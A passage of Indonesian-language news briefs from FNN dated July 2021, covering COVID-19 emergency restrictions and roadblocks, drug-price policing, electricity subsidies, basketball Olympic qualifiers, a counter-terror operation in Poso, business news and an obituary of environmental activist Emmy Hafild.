Sulsel, Andi Darmawan Bintang mengatakan dirinya telah berada di Bantaeng untuk menindaklanjuti instruksi Plt. Gubernur Sulsel. Sejauh ini, total 46 TKA asal Tiongkok telah memasuki Sulsel, termasuk 20 orang yang datang pada Sabtu (3/7), sembilan orang pada 29 Juni dan 17 orang pada 1 Juli. "Dua puluh orang pekerja asing yang datang itu rombongan ketiga, totalnya sudah 46 orang," ujarnya. (mth)

Petugas Tilang Pengendara yang Tak Terima Kena Penyekatan PPKM Darurat

Jakarta, FNN - Petugas kepolisian menindak bukti pelanggaran (tilang) terhadap seorang pengendara sepeda motor karena tidak terima penyekatan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat di pos Lampiri, Duren Sawit, Jakarta Timur. Panit pos penyekatan Lampiri Ipda Sarwono menjelaskan awalnya pengendara tersebut diketahui menggeber-geber sepeda motor saat melintas dari arah Bekasi menuju Jakarta. "Setelah dihentikan petugas ternyata dia tidak punya SIM, dan STNK dalam keadaan hilang. Dari kita melakukan tindakan dengan tegas," kata Sarwono di lokasi, Senin. Sarwono juga mengatakan bahwa kendaraan sepeda motor pengendara tersebut juga tidak sesuai standar yang berlaku sehingga petugas kepolisian pun memutuskan untuk membawanya ke Polres Metro Jakarta Timur. "Kalau saya tanya dia, tadi meluapkan emosi karena tadi penyekatan terlalu lama kepada petugas tidak sopan, maka kita hentikan," ujar Sarwono. Polda Metro Jaya melakukan penyekatan di 63 titik keluar-masuk Jakarta, Depok, Tangerang dan Bekasi (Jadetabek) terkait kebijakan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat Jawa-Bali. Sebanyak 63 titik itu terdiri dari 28 titik yang ada di batas kota dan jalan tol, kemudian 21 titik di pembatasan mobilitas di lokasi rawan pelanggaran yang memang selama ini masih berjalan. Penyekatan itu akan mulai diberlakukan mulai Sabtu (3/7) pukul 00.00 WIB. Individu yang masih boleh beraktivitas di luar rumah hanya yang bekerja di sektor kritikal dan esensial. (mth)

Ketua MPR Minta Daerah Melaksanakan PPKM Darurat dengan Baik

Jakarta, FNN - Ketua MPR RI Bambang Soesatyo meminta pemerintah daerah melaksanakan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat dengan baik agar penularan COVID-19 bisa segera dikendalikan. "Saya meminta pemerintah daerah dapat mengimplementasikan dengan baik ketetapan dari pemerintah pusat mengenai PPKM Darurat," katanya sebagaimana dikutip dalam siaran pers MPR yang diterima di Jakarta, Senin. "Diharapkan semua pihak, khususnya masyarakat, memberikan dukungan penuh melalui kepatuhan terhadap berbagai ketentuan pembatasan PPKM darurat, sebab tanpa adanya dukungan akan sulit bagi pemerintah untuk bisa mengendalikan penularan dan penyebaran COVID-19," ia menambahkan. Dia meminta pemerintah daerah dan pemangku kepentingan terkait bersinergi untuk memperketat pengawasan guna meminimalkan pelanggaran aturan PPKM Darurat. Selain itu, Ketua MPR mengemukakan bahwa pemerintah pusat dan pemerintah daerah harus berkoordinasi untuk memastikan pemberlakuan pembatasan kegiatan masyarakat guna menekan penularan COVID-19 berjalan efektif. "Pemerintah dan petugas juga harus terus memberikan peringatan kepada seluruh masyarakat maupun pemilik tempat-tempat usaha agar mematuhi kebijakan yang ditetapkan dan berlaku, seperti pembatasan mobilitas hingga pembatasan jam operasional selama PPKM Darurat," katanya. (mth)

Polri Awasi Penjualan Obat Antibiotik untuk COVID-19 di Toko Daring

Jakarta, FNN - Kepolisian Republik Indonesia (Polri) mengawasi aktivitas penjualan obat-obat jenis antibiotik yang digunakan selama pandemik COVID-19 di toko daring guna mengantisipasi terjadinya permainan harga hingga kelangkaan obat. "Polri lakukan pemantauan terhadap aktivitas jual-beli obat antibiotik di penjual online (daring-red)," kata Kepala Divisi Humas Polri Irjen Pol Argo Yuwono dalam keterangan tertulis yang diterima di Jakarta, Senin. Argo menjelaskan, selain pengawasan jual beli obat di toko elektronik, Polri juga melakukan pengawasan langsung ke pabrik pembuatan obat, termasuk jalur distribusi penyaluran-nya. Menurut dia, upaya tersebut dilakukan untuk mencegah adanya penimbunan dan harga jual yang ditawarkan sesuai dengan harga eceran tertinggi (HET) yang sudah ditetapkan pemerintah. "Hari ini sedang berjalan pula pemantauan di pabrik-pabrik obat termasuk jalur distribusi-nya," ujar Argo. Argo menegaskan, guna memastikan ketersediaan obat-obat yang dibutuhkan dalam penanganan pandemik COVID-19, pihak kepolisian tidak akan ragu ataupun segan melakukan tindakan tegas kepada distributor dan oknum penjual yang mencoba bermain di situasi sulit saat ini, seperti melakukan penimbunan dan menaikkan harga yang tidak wajar. "Siapa saja yang melanggar akan segera ditindak," ucap Argo menegaskan. Beberapa masyarakat mengeluhkan kenaikan harga obat yang dapat digunakan untuk penanganan COVID-19, salah satunya obat cacing ivermectin yang sebelum viral harganya sekitar Rp30 ribu, kini di toko daring naik menjadi 300 kali lipat, atau berkisar Rp300 ribuan. Sebelumnya, Kapolri Jenderal Pol Listyo Sigit Prabowo melalui Kabareskrim Polri Komjen Pol Agus Andrianto menerbitkan Surat Telegram terkait penegakan hukum di masa PPKM Darurat Jawa - Bali. Surat Telegram bernomor ST/1373/VII/H.U.K/7.1./2021 ini terkait harga eceran tertinggi (HET) obat-obatan dan alat kesehatan (alkes) di masa pandemik COVID-19. Surat Telegram yang ditujukan kepada para Kapolda dan bersifat perintah ini berisi lima poin penting yaitu: 1. Melakukan pengawasan terkait kepatuhan semua pihak dalam menjalankan PPKM Darurat dan pengendalian HET obat dalam masa pandemik COVID-19. 2. Melakukan penegakan hukum secara tegas terhadap pelaku usaha yang melakukan penimbunan serta penjualan obat di atas HET sehingga masyarakat sulit mendapatkan obat dan alkes. 3. Melakukan penegakan hukum secara tegas terhadap tindakan yang menghambat segala upaya Pemerintah dalam melakukan penanggulangan wabah COVID-19, termasuk terhadap penyebaran berita bohong/hoaks. 4. Mempelajari, memahami serta melakukan koordinasi dengan pihak Kejaksaan terkait penerapan pasal-pasal yang dapat dikenakan terhadap pelaku tindak pidana di masa pandemik Covid-19. 5. Melaporkan hasil kegiatan kepada Kapolri up Kabareskrim. (mth)

Anggaran Stimulus Listrik Triwulan III 2021 Capai Rp2,33 Triliun

Jakarta, FNN - Pemerintah memutuskan untuk tetap memberikan stimulus sektor ketenagalistrikan kepada masyarakat dan pelaku usaha pada periode Juli hingga September 2021. Direktur Jenderal Ketenagalistrikan Kementerian ESDM Rida Mulyana dalam keterangannya di Jakarta, Senin, menyebutkan jumlah anggaran untuk perpanjangan stimulus listrik pada triwluan III 2021 tersebut mencapai Rp2,33 triliun dari alokasi semester I sekitar Rp6,94 triliun. "Mempertimbangkan kondisi yang terjadi di masyarakat saat ini, terutama terkait dengan implementasi PPKM Darurat, pemerintah memutuskan untuk melanjutkan stimulus program ketenagalistrikan hingga triwulan III 2021," kata Rida. Nilai perpanjangan stimulus listrik yang diberikan pemerintah sama dengan nilai yang diberikan pada triwulan II periode April hingga Juni 2021. Pelanggan golongan rumah tangga, bisnis kecil, dan industri kecil daya 450 voltampere (VA) baik reguler maupun prabayar mendapat diskon 50 persen. Sedangkan bagi pelanggan golongan rumah tangga bersubdisi berdaya 900 VA hanya mendapatkan diskon sebesar 25 persen. Pembebasan biaya beban atau abonemen, serta pembebasan ketentuan rekening minimum sebesar 50 persen bagi pelanggan industri, bisnis, dan sosial. Adapun bagi pelanggan pascabayar, diskon diberikan dengan langsung memotong tagihan rekening listrik pelanggan. Sementara untuk pelanggan prabayar, diskon tarif listrik diberikan saat pembelian token listrik. "Total anggaran yang dibutuhkan untuk pemberian stimulus program ketenagalistrikan hingga triwulan III 2021 mencapai Rp9,27 triliun dengan pelanggan penerima manfaat sekitar 33,74 juta pelanggan," kata Rida. Apabila terdapat pelanggan yang telah melakukan transaksi pembayaran rekening listrik maupun pembelian token listrik di awal Juli 2021, maka PLN akan memberikan restitusi. Pelaksanaan restitusi bagi pelanggan reguler atau pascabayar berupa nilai diskon yang akan menjadi saldo di bulan berikutnya. Sedangkan bagi pelanggan Prabayar, nilai diskon akan diberikan dalam bentuk token restitusi. Dalam pelaksanaan program stimulus listrik tersebut, Kementerian ESDM menyampaikan agar PLN tetap berupaya menjaga efisiensi pengusahaan tenaga listrik dan tetap menjaga kualitas pelayanan yang diberikan kepada konsumen. (mth)

Bintang NBA Luka Doncic Pimpin Tim Slovenia ke Olimpiade Tokyo

Jakarta, FNN - Bintang NBA Luka Doncic mencetak triple-double untuk memimpin tim Slovenia menang atas Lithuania 96-85 pada Minggu (4/7) dan lolos ke Olimpiade pertama mereka. Slovenia merebut tiket mereka ke Tokyo dengan kemenangan pada turnamen kualifikasi Olimpiade FIBA ​​di Kaunas, Lithuania. Doncic yang berusia 22 tahun itu mencetak 15 dari 31 poinnya pada kuarter kedua dan menambahkan 11 rebound serta 13 assist untuk memimpin Slovenia. Sementara Lithuania, dipimpin oleh pemain NBA Domantas Sabonis dan Jonas Valanciunas, dua kali bangkit dari defisit dua digit angka. Namun Slovenia sempat memimpin laga dengan skor 14-0 yang menjembatani kuarter ketiga dan keempat, sehingga Lithuania akan kehilangan tiket Olimpiade mereka untuk pertama kalinya. "Kami bekerja keras untuk ini (menuju Olimpiade),” kata bintang Dallas Mavericks Luka Doncic yang dinobatkan sebagai Most Valuable Player di NBA, seperti dikutip AFP, Senin. "Saya tidak peduli dengan MVP. Kami menang di sini, kami akan pergi ke Olimpiade, ini pertama kalinya bagi negara kami. “Rasanya luar biasa. Saya pikir setiap anak di Slovenia bermimpi berada di Olimpiade, saya juga begitu,” tambahnya. Turnamen di Kaunas itu merupakan salah satu dari empat laga kualifikasi bola basket putra yang berakhir pada Minggu (4/7). Di Split, Kroasia, Jerman meredamkan perlawanan Brazil untuk merebut tiket Olimpiade pertama mereka sejak 2008. Brazil melaju ke final dengan mengalahkan tiga lawan pertama mereka dengan 26, 27 dan 28 poin. Tapi Jerman mendapatkan tiket mereka ke Tokyo melalui kemenangan 75-64. Di Beograd, Italia mengalahkan peraih medali perak Olimpiade 2016 Serbia dengan skor 102-95 untuk mengamankan tempat di Tokyo. Pada Minggu malam, Republik Ceko mendominasi Yunani 97-72 di Victoria, Kanada, untuk mengisi slot terakhir dalam turnamen bola basket putra Olimpiade Tokyo yang akan diikuti 12 negara. Jepang masuk dalam slot tersebut sebagai tuan rumah, sementara tujuh tim lainnya, termasuk peraih medali emas Olimpiade 2016 Amerika Serikat, lolos melalui Piala Dunia 2019. Daftar tim yang lolos ke Olimpiade Tokyo itu juga termasuk pemenang Piala Dunia dan peraih medali perunggu Rio Spanyol, Nigeria, Argentina, Iran, Prancis dan Australia yang menempati posisi keempat pada Olimpiade 2016 Rio de Janeiro. (mth)

Polisi-TNI Putar Balik Pengendara di Lenteng Agung Saat PPKM Darurat

Jakarta, FNN - Personel kepolisian dan TNI memutar balik sejumlah pengemudi kendaraan bermotor di Jalan Lenteng Agung dari arah Depok menuju Pasar Minggu, Jakarta Selatan karena termasuk kawasan pengetatan saat penerapan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat. Sejumlah personel kepolisian dan TNI berjaga di Jalan Lenteng Agung, Jakarta Selatan, Senin, untuk membatasi pengendara masuk Ibu Kota saat PPKM Darurat. Akibat penyekatan itu, terjadi kemacetan arus lalu lintas karena kendaraan sepeda motor dan roda empat menumpuk di jalan tersebut. Selain menyiagakan petugas TNI dan Polri, juga disiagakan dua kendaraan taktis untuk pengamanan saat penyekatan di lokasi tersebut. Polda Metro Jaya mendirikan 63 titik penyekatan keluar-masuk Jakarta, Depok, Tangerang dan Bekasi (Jadetabek) terkait Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat Jawa-Bali. "Ada 63 titik yang kita jaga terdiri dari 28 titik yang ada di batas kota dan jalan tol kemudian 21 titik di pembatasan mobilitas di lokasi rawan pelanggaran yang memang selama ini masih berjalan," kata Direktur Lalu Lintas Polda Metro Jaya Kombes Pol Sambodo Purnomo Yogo di Jakarta, Jumat (2/7). Penyekatan itu diberlakukan mulai Sabtu (3/7) sekitar pukul 00.00 WIB dan individu yang masih boleh beraktivitas di luar rumah hanya yang bekerja di sektor esensial. Petugas juga akan melakukan pemeriksaan terhadap masyarakat yang masih beraktivitas di area publik. "Kita akan mengedepankan cara preventif edukatif melakukan penyekatan dan pemeriksaan. Jadi jalan nanti akan kita tutup, kita akan pasang barier setiap yang melintas kita tanya keperluannya apa," katanya. (mth)

Polri Tambah 192 Personel Setelah Perpanjangan Masa Ops Madago

Kota Palu, FNN - Operasi pengejaran terhadap daftar pencarian orang (DPO) Mujahidin Indonesia Timur (MIT) Poso yang bersandi Madago Raya oleh gabungan TNI/Polri diperpanjang. Operasi tersebut kini telah memasuki tahap ke-3 pada tahun 2021. "Sebagaimana diketahui operasi dilaksanakan setiap 3 bulan," kata Kabid Humas Polda Sulteng Kombes Pol. Didik Supranoto. Menurut Didik Supranoto, perpanjangan operasi ini telah dimulai sejak tanggal 1 Juli kemarin. Dalam perpanjanga operasi kali ini, tim satgas Madago Raya ketambahan persobil sebanyak 192 orang dari pihak Polri. Ratusan personel Polri yang masuk dalam Satgas Madago Raya ini akan ditempatkan di sejumlah pos sekat di tiga kabupaten, yakni Poso, Sigi, dan Parigi Moutong. "Mudah-mudahan dalam waktu dekat, hari ini atau besok, personel Satgas Madago Raya sudah bergabung di Poso dan sekitarnya. Personel yang terlibat di Madago Raya lebih dari 1.500 orang," katanya. Ia berharap mencapai target selesai di akhir Juli sesuai dengan harapan Kapolri. Kapolda Sulawesi Tengah Irjen Pol. Abdul Rakhman Baso mengimbau seluruh pihak untuk tidak pernah membantu kelompok tersebut. Dari beberapa logistik yang ditemukan, kata Kapolda, ditengarai berasal dari simpatisan kelompok itu. "Yang paling penting jangan simpati kepada teroris yang melakukan teror kejahatan kepada masyarakat," katanya menegaskan. Hingga kini, keberadaan Ali Kalora belum diketahui. Dari data kepolisian, sisa kelompok tersebut berjumlah sembilan orang. (mth)

Anis Matta Nilai Perlu Perbaikan dan Penguatan 'Emergency Management' Tangani Covid-19

Jakarta, FNN - Ketua Umum Partai Gelombang Rakyat (Gelora), Anis Matta menilai perlu perbaikan dan penguatan sistem emergency management tangani pandemi Covid-19. Anis mengatakan, persoalan emergency management ini menjadi sangat rumit dalam kasus pandemi karena ini memiliki dimensi masalah yang banyak. Pertama dimensi sains. Anis mengatakan bahwa virus Corona merupakan makhluk baru bagi semua orang secara global bahkan bagi para ilmuwan atau scientist. Hal itu juga berdampak pada tingkat pengetahuan tentang Covid-19 terlalu sedikit dan menjadi sumber kesimpangsiuran dalam informasi. Demikian disampaikan Anis Matta dalam webinar Gelora Talks bertajuk 'Covid-19 Mengganas: Sanggupkah Sistem Kesehatan Mengatasinya?' pada Kamis (1/7/2021). "Tetapi apa yang lebih buruk dari itu adalah bahwa kita tidak bisa mengkonsolidasi para scientist yang ilmunya berhubungan secara langsung atau tidak langsung sehingga ada sesuatu yang ingin saya sebut sebagai otoritas sains," kata Anis. Kedua, Anis menyebut masalah Covid-19 memiliki dimensi geopolitik yang sangat tinggi. Dikatakannya, virus Corona ini datang dari China dan Indonesia menggunakan vaksin dari China. Menurut Anis, makna geopolitiknya adalah Indonesia sebagai korban dan pada waktu yang sama setelah menjadi konsumen. "Tapi kita juga lihat di sini ada racing perlombaan dari paling tidak 4 kekuatan dunia, Amerika Serikat, Eropa, Rusia dan China dalam produksi vaksin," ujarnya. "Apakah industri ini akan menjadi salah satu leading industry di masa datang atau farmasi secara keseluruhannya menjadi leading industry ini juga akan menjadi persoalan geopoltik," ucapnya. Ketiga, pandemi Covid-19 ini akan menunjukkan kebijakan konomi yang diambil pemerintah. Keempat adalah yang berhubungan dengan otoritas pelayanan. Anis Matta menyatakan bahwa penanganan pandemi Covid-19 ini lebih rumit daripada menghadapi bencana alam misalnya banjir dan gempa bumi. "Tetapi karena faktor-faktor yang sangat kompleks tadi maka kita membutuhkan penguatan dan perbaikan terus menerus pada emergency management kita," katanya. "Dan terakhir ini adalah momentum untuk menumbuhkan solidaritas nasional dan karena itu semangat kolaborasi hatlrus kita bangun dalam penanganan masalah ini," pungkasnya.

Biden Desak Orang Amerika Bantu untuk Akhiri Pandemi

Washington, FNN - Presiden Amerika Serikat (AS) Joe Biden merayakan ulang tahun ke-245 AS pada Minggu (4/7) dengan membuka gerbang Gedung Putih dan meminta orang Amerika untuk melakukan bagian mereka untuk mengakhiri pandemi COVID-19 sekali dan untuk selamanya. "Tahun ini, Empat Juli adalah hari perayaan khusus karena kita bangkit dari kegelapan ... tahun pandemi dan isolasi, tahun rasa sakit, ketakutan, dan kehilangan yang memilukan," kata Biden kepada orang-orang yang hadir dalam perayaan di Gedung Putih. Perayaan tersebut dihadiri sekitar 1.000 orang, termasuk keluarga militer dan pekerja yang terlibat dalam penanganan COVID-19. “Kami tidak pernah lagi ingin berada di tempat kami berada setahun yang lalu hari ini,” tambahnya Acara di Gedung Putih itu menjadi yang terbesar sejak Biden menjabat pada Januari ketika tanda-tanda normal telah kembali setelah pandemi virus corona yang menewaskan lebih dari 600.000 orang Amerika. Namun, AS gagal mencapai tujuan Biden untuk membuat 70 persen orang dewasa AS mendapatkan setidaknya satu suntikan vaksin pada Minggu. Angkanya sekitar 67 persen, karena beberapa orang menolak disuntik, meningkatkan kekhawatiran di kalangan pejabat kesehatan karena varian Delta yang lebih agresif mengancam untuk menghasilkan lonjakan lain. Biden berduka atas orang-orang yang meninggal, memuji orang Amerika yang membantu dalam tanggap darurat negara itu dan mengatakan vaksin adalah pertahanan terbaik melawan varian baru virus. “Ini adalah hal paling patriotik yang dapat Anda lakukan,” katanya tentang vaksinasi. Tetapi pemerintahannya juga ingin merayakan apa yang dilihatnya sebagai pencapaian - memulihkan beberapa keadaan normal bagi negara yang lelah dengan pembatasan dan kesulitan pandemi. Biden mengatakan virus corona "tidak lagi melumpuhkan bangsa kita, dan merupakan kekuatan kita untuk memastikan itu tidak pernah terjadi lagi." (mth)

RI Raih Potensi Transaksi 500 ribu Dolar AS di Pameran Teh AS

Jakarta, FNN - Indonesia meraih potensi transaksi 500 ribu dolar AS selama tiga hari penyelenggaraan ajang World Tea Expo 2021 pada 28—30 Juni 2021 di Las Vegas, Amerika Serikat, di mana AS mulai memasuki masa pemulihan dari dampak pandemi COVID-19. “Para pelaku usaha dari Indonesia menampilkan produknya secara faktual dan didampingi secara virtual oleh pemilik merek. Tak kurang 700 pengunjung baik perorangan maupun perusahaan mengunjungi Paviliun Indonesia,” ungkap Kepala ITPC Los Angeles Bayu Nugroho lewat keterangannya diterima di Jakarta, Senin. Pada pameran itu, Paviliun Indonesia menampilkan tiga perusahaan teh, yaitu Mustika Ratu, Sila Tea House, dan Tong Tji serta satu perusahaan penghasil grape-based spirits yaitu Sababay Winery Bali. Perusahaan-perusahaan tersebut membawa berbagai produk khas Indonesia mulai dari teh hijau, teh jasmine, teh kefir lime, juga teh herbal kunyit. Tak ketinggalan, dipromosikan pula berbagai teh artisan berupa komoditas rempah Indonesia berkualitas tinggi. Sebut saja seperti bunga telang, secang, pandan, bunga mawar, biji cokelat, dan aroma bunga lainnya. Pameran kali ini juga menghadirkan minuman spirit dengan bahan dasar anggur, bunga pala, serta kemukus. Bayu mengatakan melihat tren yang berlangsung di pasar AS saat ini, diperkirakan jumlah konsumsi teh akan terus meningkat. “Hal tersebut ditambah pula dengan banyaknya kegiatan olahraga di AS yang menjadi ajang promosi tepat untuk minuman siap saji asal Indonesia,” pungkasnya. Total perdagangan Indonesia-AS pada periode Januari-April 2021 tercatat sebesar 10,87 miliar dolar AS atau meningkat 21,09 persen dibandingkan periode yang sama tahun sebelumnya. Dari nilai tersebut, ekspor Indonesia ke AS sebesar 7,63 miliar dolar AS. Sedangkan, impor Indonesia dari AS sebesar 3,23 miliar dolar AS. (mth)

Bank Jago Rangkul Bibit Integrasikan Layanan Bank dan Investasi

Jakarta, FNN - Bank berbasis teknologi PT Bank Jago Tbk menjalin kemitraan strategis dengan agen penjual reksa dana (APERD) digital PT Bibit Tumbuh Bersama atau Bibit mengintegrasikan layanan bank dan juga investasi yang dapat diakses oleh nasabah secara mudah dan cepat. Direktur Utama Bank Jago Kharim Indra Gupta Siregar mengatakan, dengan terintegrasinya dua aplikasi tersebut, konsumen dapat membuka rekening Jago melalui platform Bibit. Pembukaan rekening tetap melalui proses Know Your Customer atau KYC standar bank yang dilakukan secara digital (e-KYC). "Integrasi bank digital dengan aplikasi layanan investasi online ini merupakan wujud nyata Jago sebagai bank berbasis teknologi yang mampu tertanam di berbagai digital ekosistem. Melalui kolaborasi ini kami ingin memberikan pengalaman baru bagi nasabah dalam mengakses layanan bank sekaligus berinvestasi," ujar Kharim saat jumpa pers di Jakarta, Senin. Selain bisa membuka rekening Jago melalui aplikasi Bibit dan menggunakan fasilitas autodebet rekening Jago untuk belanja reksa dana, lanjut Kharim, konsumen juga dapat mengoptimalkan fitur lainnya untuk mendapatkan pengalaman berinvestasi yang lebih praktis,” kata Kharim. Sementara itu, CEO Bibit, Sigit Kouwagam menilai, integrasi aplikasi bank dan APERD digital akan memberikan banyak nilai tambah bagi konsumen. Setidaknya, konsumen tidak perlu top up saldo lagi setiap ingin membeli reksa dana di Bibit karena transaksi dilakukan dengan cara mendebet rekening Bank Jago secara otomatis. "Inovasi Jago dan Bibit ini bukan hanya membuat investasi menjadi lebih mudah, murah, dan praktis. Lebih dari itu, kolaborasi ini juga akan membentuk budaya baru, yakni konsumen menjadi lebih disiplin dalam mengelola keuangan dan berinvestasi secara rutin melalui satu aplikasi. Kami sangat antusias memulai perjalanan baru ini untuk membawa pelayanan nasabah ke level lebih tinggi," ujar Sigit. Sigit optimistis terobosan ini sangat relevan dengan kebutuhan pengguna Bibit yang didominasi nasabah milenial dan melek digital (digital savvy). Nasabah dari generasi tersebut umumnya mendambakan pelayanan yang cepat, mudah, murah, dan aman. Mudah dan cepat itu terefleksi dari kemampuan menyelesaikan transaksi tanpa harus keluar dari aplikasi. Apalagi jika transaksi bisa dilakukan secara otomatis dan terjadwal. Nasabah juga tidak dikenakan biaya transaksi untuk melakukan pembelian reksa dana di Bibit menggunakan Jago. "Karena kedua aplikasi terhubung, pengguna akan menerima notifikasi setiap kali dana penjualan reksa dana masuk ke rekening Jago. Untuk bisa menggunakan fitur ini, pengguna hanya perlu meng-update versi terbaru aplikasi Bibit," kata Sigit. Bagi Bank Jago, integrasi aplikasi tersebut dapat meningkatkan jumlah basis nasabah secara cepat, mengingat pengguna Bibit saat ini telah mencapai lebih dari satu juta nasabah. "Berkat adopsi teknologi dan kemampuan tertanam dalam ekosistem, Jago dapat tumbuh secara anorganik. Integrasi ini memampukan kami untuk menjangkau nasabah lebih luas lagi," kata Kharim. Pangsa pasar reksa dana di Indonesia masih sangat besar. Saat ini, dari jumlah total penduduk Indonesia usia produktif, hanya 2 persen penduduk yang mengakses produk investasi di pasar modal. Angka itu masih tertinggal jauh dibandingkan negara-negara lain di Asia. "Sejak awal, Bibit memiliki aspirasi untuk mendemokratiskan pasar modal. Kami ingin investasi itu bersifat inklusif sehingga semua kalangan bisa ikut menikmati pertumbuhan ekonomi dalam bentuk peningkatan kesejahteraan. Kolaborasi bersama Jago akan mempercepat pencapaian aspirasi besar kami ini," ujar Sigit. Ke depannya, Jago dan Bibit akan terus melengkapi fitur-fitur lain yang terintegrasi untuk menghadirkan kenyamanan bagi konsumen dan mengatasi persoalan sehari-hari yang sering dihadapi nasabah bank serta investor ritel di Indonesia. "Ini baru tahap awal dari kolaborasi Jago dan Bibit. Berbagai layanan dan fitur inovatif lainnya akan tersedia dalam waktu dekat. Hal ini merupakan komitmen kami untuk terus memberikan produk dan layanan yang relevan dengan kebutuhan nasabah. Selain itu kami akan bekerja sama dengan pemain-pemain ekosistem digital lain untuk memperluas akses keuangan sekaligus mewujudkan aspirasi Jago," ujar Kharim. (mth)

Mereka Mengenang Sosok Pejuang Lingkungan Hidup Emmy Hafild

Jakarta, FNN - Kabut duka kembali menyeruak di Indonesia khususnya bagi sektor lingkungan hidup Indonesia dengan berpulangnya salah satu pejuang terbaiknya Emmy Hafild pada 3 Juli 2021 di Jakarta. Nurul Almy Hafild atau yang akrab disapa Emmy Hafild lahir Pertumbukan, Sumatera Utara pada April 1958 dan meninggal dunia karena sakit kanker paru dan telah dimakamkan pada 4 Juli 2021 di TPU Tanah Kusir. Dia meninggalkan suami dan dua orang putri. Meski kini menjadi tokoh politik, dengan jabatan terakhir sebagai Ketua DPP Partai NasDem bidang kemaritiman, sosok Emmy lebih akrab sebagai aktivis lingkungan yang malang melintang di berbagai organisasi lingkungan hidup. Dia pernah menjabat sebagai direktur eksekutif Wahana Lingkungan Hidup Indonesia (WALHI) periode 1996-2002 dan sempat berkiprah di Greenpeace Asia Tenggara. Atas keberanian dan perjuangannya, dia pernah mendapatkan penghargaan dari majalah Time sebagai Hero of the Planet pada 1999. "Keluarga besar WALHI sangat berduka, kami telah kehilangan seorang sahabat, kakak, dan mentor bagi banyak aktivis lingkungan hidup. Seorang perempuan yang sepanjang hidupnya terus memperjuangkan apa yang dipercayainya," ujar Direktur Eksekutif WALHI Nasional Nur Hidayati. Menurut Nur Hidayati, jejak yang ditinggalkan Emmy sangatlah banyak dengan sejak 1990 sudah aktif melakukan advokasi lingkungan bersama WALHI. Dia adalah seorang perempuan yang sepanjang hidupnya terus memperjuangkan apa yang dipercayainya. Ada begitu banyak kasus besar lingkungan hidup yang diadvokasi WALHI di bawah kepemimpinannya. Emmy memiliki keberanian dan ketegasan yang tidak pernah ragu mengkritik kebijakan yang dinilai menghancurkan lingkungan hidup dan hak-hak masyarakat. Namun, sosok Emmy sebagai pejuang lingkungan hanyalah satu dari berbagai sisi yang dimiliknya. Nur Hidayati juga mengenangnya sebagai pemimpin yang memiliki gaya komunikasi yang khas. "Mbak Emmy kami kenang sebagai sosok yang selalu peduli dengan kondisi keluarga sahabatnya," tuturnya. Tidak hanya isu lingkungan, Emmy juga turut bergerak untuk melakukan advokasi terhadap isu perempuan dan memberikan sumbangsih besar bagi gerakan perempuan di Indonesia. Dia juga aktif di gerakan demokrasi dan anti korupsi di Tanah Air. Hal itu disampaikan oleh Risma Umar sebagai Dewan Nasional WALHI, yang menegaskan bahwa kemampuan Emmy Hafild dalam mengkonsolidasikan gerakan masyarakat sipil dari berbagai sektor dan isu telah teruji. Khususnya pada peristiwa-peristiwa penting yang terjadi di Tanah Air seperti pada masa reformasi dan juga memimpin perhelatan Indonesian Peoples Forum, Bali PrepCom pada 2002. "Mbak Emmy meyakini bahwa tidak bisa memisahkan antara perjuangan lingkungan hidup dengan perjuangan hak-hak perempuan," ujar Risma. Hal itu karena Emmy menyakini bahwa tidak bisa memisahkan antara perjuangan lingkungan hidup dengan perjuangan hak perempuan. Pengkader Sejati Sosok Emmy, yang merupakan alumni IPB dan Universitas Wisconsin di Amerika Serikat, juga meninggalkan kesan mendalam kepada Kepala Divisi Lingkungan Hidup di Lembaga Lingkungan Hidup dan Penanggulangan Bencana (LLHPB) PPP Aisyiyah, Hening Parlan. Hening mengenal Emmy ketika bekerja sebagai salah satu staf WALHI yang mengurusi media dan komunikasi. Selama enam tahun di WALHI di bawah kepengurusan Emmy, Hening mengenalnya sebagai sosok pengkader sejati. Menyebut Emmy sebagai orang yang sangat unik, cerdas dan pemberani, Hening mengaku mendapatkan banyak pelajaran apalagi saat itu WALHI banyak memberikan masukan kepada pemerintah terkait beberapa isu seperti Freeport, Inti Indorayon, Kali Banger, kebakarna hutan, isu demokrasi, gender dan HAM pada umumnya. "Saya belajar dari setiap apa yang beliau sampaikan, saya berusaha menyimak. Pada akhirnya saya belajar banyak dari Mbak Emmy tentang keberpihakan, politik dan strategi," kata Hening. Tidak hanya itu, bertahun-tahun "mengintil" Emmy di banyak jaringan lembaga swadaya masyarakat dan pertemuan membuat Hening memiliki banyak jaringan serta ikut memahami pola-pola pergerakan. Ada satu pengalaman berkesan yang Hening ingat tentang sosok Emmy tepatnya usai turunnya Presiden Soeharto setelah terjadi reformasi. Emmy dikritik karena "menyembah" Abdurrahman Wahid atau yang dikenal sebagai Gus Dur. Pemberitaan bahwa Emmy "menyembah" Gus Dur menyeruak di mana-mana. Dia dikritik karena dianggap takluk pada penguasa. Saat itu, Hening menerima telepon dari Emmy yang mendorongnya meluruskan kejadian tersebut kepada media bahwa yang dilakukan Emmy adalah jongkok di depan karena menganggap Gus Dur sebagai orangtua sehingga untuk menghargai bukan menyembah. Meski sempat kesal dengan media yang masih belum menerima penjelasan tersebut, Emmy mengikuti argumen Hening untuk tidak membagikan cermin kepada media dalam silahturahmi yang dilakukan di LIPI dengan tujuan membuat media berkaca dengan pemberitaan yang ditulisnya. Tidak hanya itu, Hening bercerita bahwa Emmy juga melibatkan dirinya dalam berbagai advokasi penting seperti kampanye komodo untuk menjadi salah satu keajaiban dunia dan saat ada arus pengungsian besar di Aceh. "Begitulah Mbak Emmy selalu menjebloskan saya ke banyak hal yang saya sendiri sering merasa takjub, bingung dan bahkan sering merasa tak mampu. Namun cara beliau menjebloskan saya ke banyak hal, ku sadari bahwa itu adalah cara unik mengkader diriku," ujar Hening. Hening menyampaikan rasa bangga dan syukur dapat mengenal Emmy yang adalah guru yang baik. Darinya, Hening banyak belajar cara berkampanye dan membawa isu ke publik, kemampuan advokasi terasah, memahami isu lingkungan dan politik, dan belajar bagaimana berpihak pada rakyat kecil serta banyak lagi. Pejuang lingkungan itu kini sudah berpulang ke pangkuan Yang Maha Kuasa dalam damai. (mth)

Kasus Ekstradisi Terhadap CFO Huawei Meng Wanzhou Masuki Babak Baru

